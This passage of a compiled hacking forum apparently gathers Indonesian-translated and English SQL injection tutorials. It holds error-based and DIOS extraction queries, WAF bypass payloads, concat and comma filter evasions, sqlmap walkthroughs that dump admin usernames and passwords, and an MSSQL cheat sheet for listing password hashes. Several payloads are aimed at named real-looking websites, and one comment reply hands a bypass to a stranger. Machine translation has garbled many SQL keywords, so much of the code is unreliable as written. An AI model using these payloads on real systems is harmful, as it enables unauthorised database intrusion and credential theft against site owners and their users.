  382. http://www.FakeSite.com/news.php?id=(SELECT!x-~0./*!50000FROM*/(/*!50000SELECT*/(/*!50000concat_ws*/(0x3a3a3a,(select group_concat (table_name) dari information_schema.tables di mana table_schema = database ()))) x) a) - -
  383.  
  384. Ini Meja Kami.
  385.  
  386. kkbaketop_admin, kkbaketop_category, kkbaketop_content, kkbaketop_contentOld, kkbaketop_meta, kkbaketop_navigation, kkbaketop_product
  387.  
  388. Kami Juga dapat HTML TAG untuk menampilkan Semua Tabel di Saluran Baru.
  389. HTML TAG = <BR>
  390. kita bisa menggunakannya dengan mengkodekannya di HEX Value atau Menempatkan Single Quote Sebelum dan Sesudah TAG HTML.
  391. HEX Value = 3c42523e kita harus menggunakan 0x sebelum Nilai HEX untuk Menggunakan TAG HTML.
  392. HEX Value = 0x3c42523e
  393. Menempatkan Kutipan Tunggal = '<BR>'
  394.  
  395. PUT TAG HTML Sebelum Table_name.
  396. Hmmm sekarang Memungkinkan Tambahkan Tag ini ke Error Based DIOS Query kami dan jalankan.
  397.  
  398. http://www.FakeSite.com/news.php?id=(SELECT!x-~0./*!50000FROM*/(/*!50000SELECT*/(/*!50000concat_ws*/(0x3a3a3a,(select group_concat ('<BR>', table_name) dari information_schema.tables di mana table_schema = database ()))) x) a) - -
  399.  
  400. Sekarang Semua Tabel berada dalam garis BARU.
  401.  
  402. Langkah Berikutnya adalah Kita Harus Mendapatkan Kolom.
  403.  
  404. Ini adalah SYNTAX untuk Kolom.
  405.  
  406. (pilih group_concat (3c42523e, table_name, 0x3a, column_name) dari information_schema.columns di mana table_schema = database ())
  407.  
  408. Tambahkan SYNTAX ini di DIOS Query dan Execute it untuk Mendapatkan Kolom dari Setiap Tabel.
  409.  
  410. Dan berikut adalah DIOS FINAL Pertanyaan untuk Tabel dan Kolom Berbasis Kesalahan dalam satu SHOT.
  411.  
  412. http://www.FakeSite.com/news.php?id=(SELECT!x-~0./*!50000FROM*/(/*!50000SELECT*/(/*!50000concat_ws*/(0x3a3a3a,(select group_concat ('<BR>', table_name, 0x3a, column_name) dari information_schema.columns di mana table_schema = database ()))) x) a) - -
  413. ©
  414. ~ Ph.h4rh4r
  415.  
  416.  
  417. Error Based Injection -Tutorial (Ph.h4rh4r)
  418. Setelah Union Based Injection Dalam Tutorial ini Anda Akan Mempelajari Error Based SQL Injection.
  419. Bagaimana Anda Akan Memahami Bahwa WebSite Target kami dalam Injeksi Berbasis Kesalahan. ??
  420. Hmm Sementara kita adalah Situs Suntik, Dan Hitung Jumlah Total Kolom dan Kemudian Bangun Query SQL Berbasis Serikat.
  421.  
  422. Kami mendapat 6 Jumlah Kolom. dan UNION BASED Query kami.
  423.  
  424. http://www.target.com/index.php?id=-1 Union Select 1,2,3,4,5,6-- -
  425.  
  426. Ketika kami Melaksanakan Query Berbasis Persatuan kami tidak memberikan kami Nomor Kolom yang Rentan yang Dicetak di Halaman Web atau dalam HTML.
  427. Ini Memberi Kita Pesan Kesalahan.
  428.  
  429. Pernyataan SELECT yang digunakan memiliki jumlah kolom yang berbeda
  430.  
  431. Kadang-kadang Situs TARGET tidak Memberikan Nomor Kolom yang Rentan dan Juga Tidak Ada Jenis Kesalahan. Situs-situs tersebut juga error SQL / Double Query SQL injection.
  432. Jadi Kami Diolah Selanjutnya Dengan Error Based Queries.
  433.  
  434. Langkah pertama adalah Untuk Mendapatkan Versi.
  435. Berikut adalah Query Berdasarkan Kesalahan Untuk Dapatkan Versi.
  436.  
  437. http://www.target.com/index.php?id=1 atau 1 grup oleh concat_ws (0x3a, versi (), lantai (rand (0) * 2)) memiliki min (0) atau 1-- -
  438.  
  439. dan kami Akan Mendapatkan Versi Dicetak di WebPage.
  440.  
  441.  
  442. Langkah kedua adalah Untuk Mendapatkan Nama Database.
  443.  
  444. Sekarang Mari Periksa Nama Database Saat Ini.
  445. Situs Web Dapat Memiliki Lebih dari 2, 3, atau 5 Basis Data. Jadi Kami Gunakan BATAS untuk mendapatkan semua Database.
  446.  
  447. LIMIT 0,1 LIMIT 1,1 LIMIT 2,1 LIMIT 3,1
  448.  
  449. Inilah Pertanyaan Kami Untuk Mendapatkan Basis Data.
  450.  
  451. http://www.target.com/index.php?id=1 dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (database () sebagai char), 0x7e)) dari information_schema.tables di mana table_schema = database () limit 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - -
  452.  
  453.  
  454. Langkah ketiga adalah untuk mendapatkan tabel.
  455. Sekarang Kita Harus Mendapat Tabel. Seperti Kami Ingin Tabel Dari Database Primer.
  456. Berikut Ini Query Untuk Tabel Dari Database Primer.
  457. http://www.target.com/index.php?id=1 dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (table_name sebagai char), 0x7e)) dari information_schema. tabel di mana table_schema = database () limit 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - -
  458.  
  459. Tingkatkan Nilai Batas sebagai LIMIT 0,1 hingga LIMIT 1,1 LIMIT 2,1 LIMIT 3,1
  460. Sampai Anda Mendapatkan Nama Tabel yang Diinginkan Anda.
  461.  
  462. Langkah ke 4 adalah Mendapatkan Nama Kolom Dari Nama Tabel Bertarget Kami.
  463. Sekarang Kita Harus Mendapatkan Nama Kolom Dari Nama Tabel.
  464. Kami Mendapat Tabel Of Admin.
  465. Jadi Mari Dapatkan Kolom Dari Admin Tabel.
  466.  
  467. Berikut Ini Query Untuk Mendapatkan Nama Kolom Dari Tabel Admin.
  468.  
  469. http://www.target.com/index.php?id=1 dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (column_name sebagai char), 0x7e)) dari information_schema. kolom di mana table_name = 0xADMIN membatasi 0,1), lantai (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - -
  470.  
  471. Untuk Mendapatkan Kolom Dari Tabel Admin kita Harus Mengkodekannya Di HEX dan Kemudian Kita Dapat Melaksanakan Permintaan Kita.
  472. Inilah BAGIAN dalam Pertanyaan Kita.
  473.  
  474. Table_name = ADMIN
  475. Inilah Nilai HEX dari ADMIN = 61646d696e
  476. Dan Letakkan Dengan 0x untuk Membuat Kueri yang Benar.
  477.  
  478. Table_name = 0x61646d696e
  479.  
  480. Dan Inilah Kueri.
  481. http://www.target.com/index.php?id=1 dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (column_name sebagai char), 0x7e)) dari information_schema. kolom di mana table_name = 0x61646d696e limit 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - -
  482.  
  483. Tingkatkan Nilai BATAS menjadi BATAS 0,1 LIMIT 1,1 LIMIT 2,1
  484. sampai kita Dapatkan Nama Kolom Seperti Nama Pengguna dan Kata Sandi.
  485.  
  486. 5Th Step Is to Extracting Data From Columns.
  487. Setelah Kami Dapatkan Nama Kolom Seperti Nama Pengguna Dan Kata Sandi.
  488. Langkah Berikutnya Adalah Mengeluarkan Data Dari Kolom Ini.
  489.  
  490. Berikut ini adalah Query Untuk Mengekstrak Data dari Kolom.
  491.  
  492. http://www.target.com/index.php?id=1 dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (concat (COLUMN_NAME_1,0x3a, COLUMN_NAME_2) sebagai char) , 0x3a)) dari batas TABLENAME 0,1), lantai (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - -
  493.  
  494. KAMI Letakkan TABLENAME = Admin
  495. Dan
  496. Column_name_1 = nama pengguna
  497. Column_name_2 = kata sandi
  498.  
  499. Jadi, inilah Query FINAL.
  500.  
  501. http://www.target.com/index.php?id=1 dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (concat (nama pengguna, 0x3a, kata sandi) sebagai char) , 0x3a)) dari batas admin 0,1), lantai (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - -
  502.  
  503. Dan Kami Dapatkan Nama Pengguna dan Kata Sandi ADMIN yang tercetak di Halaman.
  504.  
  505. ~ Ph.h4rh4r
  506.  
  507.  
  508.  
  509. Amir Hossan Rahel
  510. http://www.realinstruments.ca/gallery.php?id=7 /*!50000union*/ /*!50000select*/ 1,2,3,4,5,6,7--+
  511. hello sir how I can bypass 'union select' please help me or post it your page thank you
  512.  
  513. Real Instruments - Photo Gallery - 161 Maypoint Rd, Charlottetown, PEI
  514. realinstruments.ca
  515. 1 · Suka · Tanggapi · Balas · Laporkan · 23 Jan
  516. SQLI Tutorial - Beginners
  517. http://www.realinstruments.ca/gallery.php?id=.7 unUNIONion seSELECTlect 11111111,2,3,4,5,6,7-- -
  518.  
  519. Real Instruments - Photo Gallery - 161 Maypoint Rd, Charlottetown, PEI
  520. realinstruments.ca
  521. Suka · Tanggapi · Balas · Laporkan · 23 Jan
  522. SQLI Tutorial - Beginners
  523. SQLI Tutorial - Beginners
  524. No problem
  525. SQLI Tutor... membalas · Lihat semua 2 balasan
  526.  
  527.  
  528.  
  529. Modsecurity WAF Bypass vectors
  530.  
  531. --new version--
  532. id=@:=(-- a %0a select 123 from {f table})|0.1union-- a %0a select+1,@,3
  533. id=@:=(-- a %0a select 123 from {f table})*.9union/*!%0aselect 1,@,3*/
  534. id=@:=(%23 a %0a select 123 from {f table})-\Nunion%23 a %0a select+1,@,3
  535. id=@:=(%23 a %0a select 123 from ((table)))/1e0union%23 a %0a select+1,@,3
  536. id=@:=(%23 a %0a select 123 from ((table)))/1e0union%a0(select 1,@,3)
  537.  
  538. --old version--
  539. id=1-.0union distinctrow select 1,2,3 from {f table}
  540. id=-1 /*!50000union*/ select 1,2,.3from table
  541. id=-1e0union distinct select 1,2,3e0from table
  542. id=\Nunion (select 1,2,\Nfrom table)
  543. id=.1union distinct select sql_cache 1,2,3 from table
  544.  
  545. -h
  546.  
  547. mysql injection concat() replacements
  548.  
  549. select export_set(1,version(),user(),' : ',2);
  550. 5.1.7 : my_user
  551.  
  552. select export_set(1,version(),export_set(1,user(),schema(),' : ',2),' : ',2);
  553. 5.1.7 : my_user : my_db
  554.  
  555. select make_set(7,version(),user(),schema());
  556. 5.1.7,my_user,my_db
  557.  
  558. select replace(make_set(7,version(),user(),schema()),',',' : ');
  559. 5.1.7 : my_user : my_db
  560.  
  561. select insert(insert(version(),length(version())--1,0,user()) ,length(version())--1,0,' : ');
  562. 5.1.7 : my_user
  563.  
  564. select insert(insert(schema(),length(schema())--1,0,insert(insert(version(),length(version())--1,0,user()) ,length(version())--1,0,' : ')),length(schema())--1,0,' : ');
  565. 5.1.7 : my_user : my_db
  566.  
  567. select replace(replace(replace('!?$','!',version()),'?',' : '),'$',user());
  568. 5.1.7 : my_user
  569.  
  570. select replace(replace(replace(replace('!?$?^','!',version()),'?',' : '),'$',user()),'^',schema());
  571. 5.1.7 : my_user : my_db
  572.  
  573. select lpad(lpad(user(),@x:=length(user())--3,' : '),@x--length(version()),version())
  574. 5.1.7 : my_user
  575.  
  576. select lpad(lpad(lpad(lpad(schema(),@x:=length(schema())--3,' : '),@x--length(user()),user()),@x--length(user())--3,' : '),@x--length(user())--3--length(version()),version());
  577. 5.1.7 : my_user : my_db
  578.  
  579. select rpad(rpad(version(),@x:=length(version())--3,' : '),@x--length(user()),user());
  580. 5.1.7 : my_user
  581.  
  582. select rpad(rpad(rpad(rpad(version(),@x:=length(version())--3,' : '),@x--length(user()),user()),@x--length(user())--3,' : '),@x--length(user())--3--length(schema()),schema());
  583. 5.1.7 : my_user : my_db
  584.  
  585. group_concat() without comma-
  586. select (select group_concat(a separator ' : ') from (select version()a union select user() union select schema())x);
  587. 5.1.7 : my_user : my_db
  588.  
  589. concat() waf bypass-
  590. /*!50000group_coNcat(*/)
  591. /*!50000coNcat(*/)
  592. `coNcat`%0a%0b%0c%0d%a0()
  593. {snoopdogg concat()}
  594. {s {n {o {o {p {d {o {g {g`coNcat`()}}}}}}}}}
  595. {s {n {o {o {p {d {o {g {g`coNcat`/*!50000(*/)}}}}}}}}}
  596. {s {n {o {o {p {d {o {g {g`coNcat`/*!50000 /*! /*!40000 /*! /*!(*/((((1 %23aaa%0a )))))}}}}}}}}}
  597. concat-- a%0a()
  598. concat%23aaaaaaaaaa..........%0a(%23aaaaaaa.........%0a)
  599. concat/**x**/()
  600.  
  601.  
  602.  
  603. waf bypass with %75nion %73elect
  604. redirect = bypass with And 1<1 or add @ befor variable number like =@64' or =@'
  605. there redirect with dot in =.64' bypass by add @ like =@64' and 0 union select
  606.  
  607. ~h
  608.  
  609.  
  610. Multi-Query-Injection
  611.  
  612. id=1-- -' our query-- -
  613. id=1%23' our query -- -
  614. id=1 union select null,null,null-- -' our query %23
  615.  
  616. =1 ;%00 ' and 0 union select 1 ;%00!
  617. =1 -- - ' and 0 union select 1 -- -%
  618. =1 -- - ' or 1 union select 1,2 limit 2 -- -
  619.  
  620. -----------------------------------------------------------
  621. Other Method
  622.  
  623. =1' in boolean mode) UNION SELECT 1,2-- -
  624. =1' group by 1 union select 1,2-- -
  625. =1' procedure analyse() union select 1,2-- -
  626. =1) having 1=0 union select '11111' from dual -- - Where 0 %23
  627. =1 union select 1 LIMIT 0,1-- -
  628. '=0=column union select version() limit 1-- -
  629.  
  630. ~h
  631.  
  632.  
  633. Error based basic Tidak terlalu detail
  634. Cara pertama =====>
  635. + DAN (SELECT COUNT (*) FROM (SELECT 1 UNION SELECT null UNION SELECT! 1) x GROUP oleh CONCAT ((versi SELECT () FROM information_schema.tables LIMIT 0,1), FLOOR (RAND (0) * 2)) )
  636. Cara kedua ====> packerss.in/review.php?id=260+and+(select+1+from+(select+count(*)+from+(select+1+union+select+2+union+select+ 3) x + grup + oleh + concat (mid ((pilih + concat_ws (0x7e, versi (), 0x7e) + dari + information_schema.tables + limit + 0,1), 1,25), floor (rand (0) * 2))) a) -
  637. ===>
  638. Database ===> packerss.in/review.php?id=260%20+and+(select+1+from+(select+count(*)+from+(select+1+union+select+2+union+select+ 3) x + grup + oleh + concat (mid ((pilih + concat_ws (0x7e, group_concat (schema_name), 0x7e) + dari + information_schema.schemata% 20limit + 0,1), 1,25), floor (rand (0 ) * 2))) a) -
  639. ==> Masukan 'informasi' duplikat
  640. skema, packer1 'untuk kunci' grup_
  641. kunci'
  642. tabel ===>
  643. packerss.in/review.php?id=260%20+and+(select+1+from+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group + dengan + concat (mid ((pilih + concat_ws (0x7e, group_concat (table_name), 0x7e) + dari + information_schema.tables% 20where% 20table_schema = database ()% 20limit + 0,1), 1,25), lantai ( rand (0) * 2))) a) -
  644. ===> Masukan duplikat 'tambah, admin, astro_
  645. ques, astr1 'untuk kunci' group_key '
  646. packerss.in/review.php?id=260+and+(select+1+from+(select+count(*)+from+(select+1+union+select+2union+select+3)x+group+by + concat (mid ((pilih + concat_ws (0x7e, group_concat (table_name), 0x7e) + dari + information_schema.tables% 20where% 20table_schema = database ()% 20limit + 0,1), 58,25), lantai (rand ( 0) * 2))) a) -
  647. ===> Entri duplikat
  648. 'Laints, acara, mengundang, bergabung, 1' untuk kunci
  649. 'group_key'
  650. + dan + (pilih + 1 + dari + (pilih + count (*) + dari + (pilih + 1 + union + pilih + 2 + union + pilih + 3) x + grup + dengan + concat (mid ((pilih + concat_ws (0x7e, group_concat (column_name), 0x7e) + f rom + information_schema.columns di mana table_name = 0xHex_Table limit + 0,1), 1,25), floor (rand (0) * 2))) a) - x
  651. + dan + (pilih + 1 + dari + (pilih + count (*) + dari + (pilih + 1 + union + pilih + 2 + union + pilih + 3) x + grup + dengan + concat (mid ((pilih + concat_ws (0x7e, group_concat (nama pengguna, 0x3a, passwo rd), 0x7e) + dari + pengguna limit + 0,1), 1,25), lantai (rand (0) * 2))) a) -
  652.  
  653. -h
  654.  
  655.  
  656.  
  657. Hi everyone,Today I'll show you a SQLI TIP,
  658. get large data with one request using substr function. use 'limit' is slow,
  659. so im gonna teach you how to bypass the error 1242,"'subquery
  660. returns more than 1 row'".
  661. I) Using substr function
  662. ==
  663. the subtr function is usually for blind
  664. injection,but we can use this for bypass the limit
  665. of group_concat and the error 1242.
  666. for example,
  667.  
  668. Code:
  669.  
  670. http://www.lermitagehotel.ee/?
  671. pageid=160 +and+(select+1+from
  672. +(select+count(*),concat((select
  673. (select+concat(concat(user_na
  674. me,0x3a,user_pass),0x7e))+from
  675. +users+limit+0,1),floor(rand
  676. (0)*2))x+from+informat
  677. ion_schema.tables+group+by+x)a)
  678. error 1242-
  679.  
  680. Subquery returns more than 1 row.
  681. we can use substr like that
  682.  
  683. Code:
  684.  
  685. And(select 1 from(select count
  686. (*),concat(0x3a,(select substr
  687. (group_concat(column1,0x3a,column2),1,150)from table where table_schema like database()),0x3a,floor(rand(0)*2))xfrom information_schema.tables group by x)z)-- -
  688.  
  689. so
  690. Code:
  691.  
  692. http://www.lermitagehotel.ee/?
  693. pageid=160 And(select 1 from
  694. (select count(*),concat(0x3a,
  695. (select substr(group_concat
  696. (table_name),1,150)from
  697. information_schema.tables where
  698. table_schema like database
  699. ()),0x3a,floor(rand(0)*2))x from
  700. information_schema.tables group
  701. by x)z)-- -
  702. and
  703.  
  704. Quote: Duplicate entry
  705. ':admin_topmenu,album_photos,albums,
  706. defaults,form_items,form_log,' for key
  707. 'group_key'
  708. Incre substr(group_concat(table_name),1,150) ...
  709. substr(group_concat(table_name),30,150)... to
  710. get next
  711. --
  712.  
  713. in mysql>5
  714. Code:
  715. or 1 group by concat_ws(0x3a,
  716. (select substr(group_concat
  717. (column),1,150)
  718. from table),floor(rand(0)*2))
  719. having min(0) or 1-- -
  720. --
  721. in mysql 5.1+
  722. Code:
  723. and updatexml(0,concat(0x3a,
  724. (select substr(group_concat
  725. (column),1,150)
  726. from table)),0)-- -
  727. --
  728. notice: sometimes query number 2 dosent
  729. work,so use the first one.
  730. Code:
  731. II) Using concat() and group_concat
  732. ()
  733. ==
  734. Code:
  735. and updatexml(0,concat(0x3a,
  736. (select concat(0x3a,group_concat
  737. (column))
  738. from table)),0)-- -
  739. only for extractvalue() / updatexml().
  740.  
  741. enjoy
  742.  
  743. ~h
  744.  
  745.  
  746. HACK WEBSITE MENGGUNAKAN SQLMAP SQL INJECTION TOOLS FULL TUTORIAL
  747.  
  748. bagaimana cara menggunakan sqlmap pada metode GET
  749.  
  750.  
  751. - fingerprinting
  752.  
  753. pertama Anda harus memiliki situs web yang rentan untuk target, jika Anda memiliki target sekarang buka sqlmap dan ketik perintah ini
  754. ./sqlmap.py -u "http://www.target.com/index.php?id=2"
  755. sqlmap akan mendeteksi rentan dari target Anda dan akan memberi tahu Anda apa jenis rentan dan apa tipe database. dan jika target Anda rentan, lanjutkan ke langkah berikutnya.
  756.  
  757.  
  758. - temukan nama database
  759.  
  760. ketik perintah ini untuk mencari nama database
  761. ./sqlmap.py -u "http://www.target.com/index.php?id=2" --dbs
  762. pada langkah ini, sqlmap akan menemukan nama database target Anda, misalnya saya menggunakan "web_db" untuk nama database.
  763.  
  764.  
  765. - temukan nama tabel
  766.  
  767. Setelah sqlmap menemukan nama databse waktunya untuk menemukan nama tabel. gunakan perintah ini untuk menemukan nama tabel
  768. ./sqlmap.py -u "http://www.target.com/index.php?id=2" -D web_db --table
  769. di sana akan menunjukkan kepada Anda beberapa nama tabel di dalam database "web_db", ok misalnya saya menggunakan "tbl_admin" sebagai nama tabel.
  770.  
  771.  
  772. - temukan nama kolom
  773.  
  774. waktunya untuk menemukan apa yang ada di dalam "tbl_admin" dari "web_db" dan kami menyebutnya kolom. untuk menemukan kolom ketik perintah ini
  775. ./sqlmap.py -u "http://www.target.com/index.php?id=2" -D web_db -T tbl_admin --columns
  776. ini akan menunjukkan daftar nama kolom, misalnya saya menemukan kolom "pengguna" dan "kata sandi".
  777.  
  778.  
  779. - buang
  780.  
  781. perintah ini akan membuang data dari kolom, ketik perintah ini
  782. ./sqlmap.py -u "http://www.target.com/index.php?id=2" -D web_db -T tbl_admin -C pengguna, kata sandi --dump
  783. dan saya menemukan "user = admin" dan "password = adminpass". sekarang buka web dan temukan admin login.
  784.  
  785. bagaimana cara menggunakan sqlmap pada metode POST
  786.  
  787.  
  788. caranya sama dengan metode GET, hanya saja Anda harus memasukkan data POST ke sqlmap. misalnya saya memiliki situs yang rentan pada jalur "login.php". data POST adalah "id = admin & pwd = kata sandi & kirim = login". bagaimana cara menemukan data POST? cukup gunakan "Live HTTPheaders" yang merupakan add ons firefox.
  789.  
  790.  
  791. - fingerprinting
  792.  
  793. caranya yang sama dengan metode GET, ketikkan saja perintah ini
  794. ./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = kata sandi & kirim = login"
  795.  
  796. - temukan nama database
  797.  
  798. ./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = kata sandi & kirim = masuk" --dbs
  799.  
  800. - temukan nama tabel
  801.  
  802. ./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = kata sandi & kirim = masuk" -D web_db --table
  803.  
  804. - temukan nama kolom
  805.  
  806. ./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = kata sandi & kirim = masuk" -D web_db -T tbl_admin - kolom
  807.  
  808. - buang
  809.  
  810. ./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = kata sandi & kirim = login" -D web_db -T tbl_admin -C pengguna, kata sandi --dump
  811.  
  812.  
  813. termasuk cookie
  814.  
  815.  
  816. masih metode yang sama tetapi Anda hanya harus memasukkan cookie
  817. ./sqlmap.py -u "http://www.target.com/index.php?id=2" --cookie = "PHPSESSID = 123asdqwe456blabla; user = admin"
  818. atau
  819. ./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = kata sandi & kirim = masuk" --cookie = "PHPSESSID = 123asdqwe456blabla; user = admin"
  820.  
  821. parameter khusus
  822.  
  823.  
  824. jika Anda memiliki parameter khusus untuk menyuntikkan Anda dapat mengetik "-p" seperti perintah ini
  825. ./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = kata sandi & kirim = masuk" --cookie = "PHPSESSID = 123asdqwe456blabla; user = admin" -p "pwd"
  826. sqlmap akan menyuntikkan parameter "pwd". atau Anda dapat memberi bintang "*" ke parameter untuk disuntikkan, seperti ini
  827. ./sqlmap.py -u "http://www.target.com/login.php" --data = "id = admin & pwd = * kata sandi & kirim = masuk" --cookie = "PHPSESSID = 123asdqwe456blabla; user = admin"
  828.  
  829. penutup
  830.  
  831.  
  832. jika Anda pengguna windows, jangan gunakan "./" untuk menjalankannya pada cmd.
  833.  
  834. Go To Download Software: http://sqlmap.org/
  835.  
  836. when you try to access server with your SQL WAF will stop you again. You might have more luck if WAF controls only GET requests and you inject with POST...
  837.  
  838. SQLi Waf Behaviours
  839.  
  840. union select 1,2,3,4-- - [<---WAF
  841.  
  842. /*!union*/ select 1,2,3,4-- - [<--- No WAF
  843.  
  844. /*!union*/ select 1,group_concat(),3,4-- - [<--NO -WAF
  845.  
  846. /*!union*/ select 1,group_concat(table_name),3,4-- - [<---WAF
  847.  
  848. /*!union*/ select 1,group_concat(/*!table_name*/),3,4-- - [<--- No WAF
  849.  
  850. /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from -- - [<---No WAF
  851.  
  852. /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables-- - [<---No WAF
  853.  
  854. /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables where-- - [<---WAF
  855.  
  856. /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables /*!where*/-- - [<---No WAF
  857.  
  858. /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables /*!where*/ table_schema-- - [<---No WAF
  859.  
  860. /*!union*/ select 1,group_concat(/*!table_name*/),3,4 from information_schema.tables /*!where*/ table_schema=database()-- - [<---No WAF
  861.  
  862. ~asero
  863.  
  864. EXTRACTING USERNAME AND PASSWORD IN THE TABLE
  865.  
  866. QUERY :
  867.  
  868. (select (@x) from (select (@x:=0x00), (select (@x) from users where (@x) in (@x:=concat(@x,'<br>',username,' : ',password))))x)
  869.  
  870. Here are the three methods which i know and mostly use to bypass [,] COMMA
  871. 1) union select 1/*!,*/ 2/*!,*/3
  872. 2) union select 1,CHAR(44), 2,CHAR(44),3,char(44)
  873. 3)(select 1)a join (select 2)b join (select 3)c
  874. hOpe if you have concept of sql injection i don't think i have to give eXample
  875. But also leaving here one eXample
  876. www.vuln.com/events.php?id=-1 union select 1,2,3===>blockEd..
  877. now use
  878. Union select 1,CHAR(44), 2,CHAR(44),3,char(44)--
  879. ~h
  880.  
  881. Pengetahuan Sql Untuk pelajar :)
  882. -------------------------------------------------- ------
  883. ---> Apa itu Sql Injection
  884. -------------------------------------------------- -------
  885. Injeksi SQL adalah teknik di mana pengguna jahat dapat menyuntikkan perintah SQL ke dalam pernyataan SQL, melalui input halaman web.
  886. Perintah SQL yang disuntikkan dapat mengubah pernyataan SQL dan membahayakan keamanan aplikasi web. Dan Juga Hancurkan basis data colonthree Anda
  887. -------------------------------------------------- -------
  888. ---> Apa itu Information_schema?
  889. -------------------------------------------------- -------
  890. INFORMATION_SCHEMA adalah basis data informasi, tempat yang menyimpan informasi tentang semua basis data lain yang disimpan oleh server MySQL. Di dalam INFORMATION_SCHEMA ada beberapa tabel hanya-baca.
  891. Berikut ini adalah daftar masing-masing pandangan yang ada.
  892. INFORMATION_SCHEMA.CHECK_CONSTRAINTS
  893. INFORMATION_SCHEMA.COLUMN_DOMAIN_USAGE
  894. INFORMATION_SCHEMA.COLUMN_PRIVILEGES
  895. INFORMATION_SCHEMA.COLUMNS
  896. INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE
  897. INFORMATION_SCHEMA.CONSTRAINT_TABLE_USAGE
  898. INFORMATION_SCHEMA.DOMAIN_CONSTRAINTS
  899. INFORMATION_SCHEMA.DOMAINS
  900. INFORMATION_SCHEMA.KEY_COLUMN_USAGE
  901. INFORMATION_SCHEMA.PARAMETERS
  902. INFORMATION_SCHEMA.REFERENTIAL_CONSTRAINTS
  903. INFORMATION_SCHEMA.ROUTINE_COLUMNS
  904. INFORMATION_SCHEMA.ROUTINES
  905. INFORMATION_SCHEMA.SCHEMATA
  906. INFORMATION_SCHEMA.TABLE_CONSTRAINTS
  907. INFORMATION_SCHEMA.TABLE_PRIVILEGES
  908. INFORMATION_SCHEMA.TABLES
  909. INFORMATION_SCHEMA.VIEW_COLUMN_USAGE
  910. INFORMATION_SCHEMA.VIEW_TABLE_USAGE
  911. INFORMATION_SCHEMA.VIEWS
  912. -------------------------------------------------- -----
  913. ---> Apa Nilai Null?
  914. -------------------------------------------------- -------
  915. NULL SQL adalah istilah yang digunakan untuk merepresentasikan nilai yang hilang. Nilai NULL dalam tabel adalah nilai dalam bidang yang tampaknya kosong.
  916. Bidang dengan nilai NULL adalah bidang tanpa nilai. Sangat penting untuk memahami bahwa nilai NULL berbeda dari nilai nol atau bidang yang berisi spasi.
  917. ---------------------------
  918.  
  919.  
  920. MSSQL INJECTION CHEAT SHEET
  921.  
  922. Version SELECT @@version
  923. Comments SELECT 1 — comment
  924. SELECT /*comment*/1
  925. Current User SELECT user_name();
  926. SELECT system_user;
  927. SELECT user;
  928. SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
  929. List Users SELECT name FROM master..syslogins
  930. List Password Hashes SELECT name, password FROM master..sysxlogins — priv, mssql 2000;
  931. SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.
  932. SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005;
  933. SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005
  934. Password Cracker MSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen|drescher can crack these.
  935. List Privileges – current privs on a particular object in 2005, 2008
  936. SELECT permission_name FROM master..fn_my_permissions(null, ‘DATABASE’); — current database
  937. SELECT permission_name FROM master..fn_my_permissions(null, ‘SERVER’); — current server
  938. SELECT permission_name FROM master..fn_my_permissions(‘master..syslogins’, ‘OBJECT’); –permissions on a table
  939. SELECT permission_name FROM master..fn_my_permissions(‘sa’, ‘USER’);
  940. –permissions on a user– current privs in 2005, 2008
  941. SELECT is_srvrolemember(‘sysadmin’);
  942. SELECT is_srvrolemember(‘dbcreator’);
  943. SELECT is_srvrolemember(‘bulkadmin’);
  944. SELECT is_srvrolemember(‘diskadmin’);
  945. SELECT is_srvrolemember(‘processadmin’);
  946. SELECT is_srvrolemember(‘serveradmin’);
  947. SELECT is_srvrolemember(‘setupadmin’);
  948. SELECT is_srvrolemember(‘securityadmin’);
  949. – who has a particular priv? 2005, 2008
  950. SELECT name FROM master..syslogins WHERE denylogin = 0;
  951. SELECT name FROM master..syslogins WHERE hasaccess = 1;
  952. SELECT name FROM master..syslogins WHERE isntname = 0;
  953. SELECT name FROM master..syslogins WHERE isntgroup = 0;
  954. SELECT name FROM master..syslogins WHERE sysadmin = 1;
  955. SELECT name FROM master..syslogins WHERE securityadmin = 1;
  956. SELECT name FROM master..syslogins WHERE serveradmin = 1;
  957. SELECT name FROM master..syslogins WHERE setupadmin = 1;
  958. SELECT name FROM master..syslogins WHERE processadmin = 1;
  959. SELECT name FROM master..syslogins WHERE diskadmin = 1;
  960. SELECT name FROM master..syslogins WHERE dbcreator = 1;
  961. SELECT name FROM master..syslogins WHERE bulkadmin = 1;
  962. List DBA Accounts SELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try ‘bulkadmin’, ‘systemadmin’ and other values from the documentation
